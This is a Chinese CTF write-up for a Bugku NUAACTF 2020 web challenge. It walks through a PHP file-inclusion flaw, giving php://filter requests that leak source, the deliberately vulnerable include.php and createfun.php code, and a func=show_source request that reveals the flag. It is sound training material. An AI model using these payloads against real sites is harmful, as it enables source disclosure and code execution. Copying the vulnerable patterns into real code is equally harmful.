Bugku NUAACTF 2020 command-injection

前置知识

网络安全 文件包含漏洞-CSDN博客

解题过程

打开靶场、进行信息收集

在源码中发现include文件,直接访问,自动添加了URL参数file

复制代码
/include.php?file=index

并且自动补齐了index参数,页面也跟初始页面相同,很明显是文件包含漏洞

直接尝试php伪协议读取下已知的源码,根据自动补齐的index参数,可以猜测后端是自动补齐.php,读取index.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=index

<?php
	print <<<EOT
	<html>
	<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	</head>
	<body>
	<!--include.php-->
	<img src="img.jpg"  alt="嘉木天下第一" />
	</body>
	</html>
EOT;
?>

读取include.php:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=include

<?php  error_reporting(0);
@$file = $_GET["file"];
if(isset($file)) {
	if (preg_match('/http|data|ftp|input|%00|flag/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=100) {
		echo "<p> error! </p>";
	} else {
		include($file.'.php');
		setcookie("tips","createfun.php");
	}
} else {
	header('Location:include.php?file=index');
}
?>

可以看到include.php过滤了敏感字符,我们无法直接读取flag

并且我们又看到另一个文件createfun.php,继续读取该文件:

复制代码
/include.php?file=php://filter/read=convert.base64-encode/resource=createfun

<?php
$func = @$_GET['func'];
$arg = @$_GET['arg'];
if(isset($func)&&isset($arg)){$func($arg,'');}

分析源码,获取两个参数,一个作为函数名,一个作为函数参数,然后会执行函数。

需要注意这个函数有两个参数,后面被自动设置为空,这里很多函数可以用,这里采用show_source,显示flag.php文件内容,这里flag.php可以通过前面include文件得出,也可以扫文件得到:

复制代码
/createfun.php?func=show_source&arg=flag.php

<?php
$flag="nuaactf{php_IS_thE_best_language}";
?>

总结

一道基础的文件包含漏洞,包含了一些代码审计部分。

相关推荐
迪康Defender1 天前
终端供应链安全:应用白名单与软件正版化检测落地|终端安全治理实践
运维·服务器·网络·安全·web安全·自动化·运维开发
科技小登1 天前
出海高防CDN怎么选?CDN加速、边缘清洗与跨境回源POC指南
tcp/ip·web安全·ddos
是真的小外套1 天前
网络安全实战第21期:一次完整的注入风险验证与记录
安全·web安全
kingx32 天前
Bugku WEB 题解总集:文件包含 / SQLi / 反序列化 / SSTI / 反爬 / 组件漏洞
web安全·网络安全·ctf·bugku
CCIE-Yasuo2 天前
网络安全-Javascript基础
javascript·安全·web安全
kingx32 天前
Bugku Reverse 与 Android 题解总集:APK / native / PE / IPA
android·逆向·ctf·bugku
是真的小外套2 天前
网络安全实战第17期:自动化检测误报漏报真相
安全·web安全·自动化
是真的小外套2 天前
网络安全实战第19期:三重防护失效真相之注入攻击的无限变形之路
安全·web安全
是真的小外套3 天前
网络安全实战第14期:Week2周末闯关
网络·安全·web安全
是真的小外套3 天前
网络安全实战第13期:侦察报告撰写
安全·web安全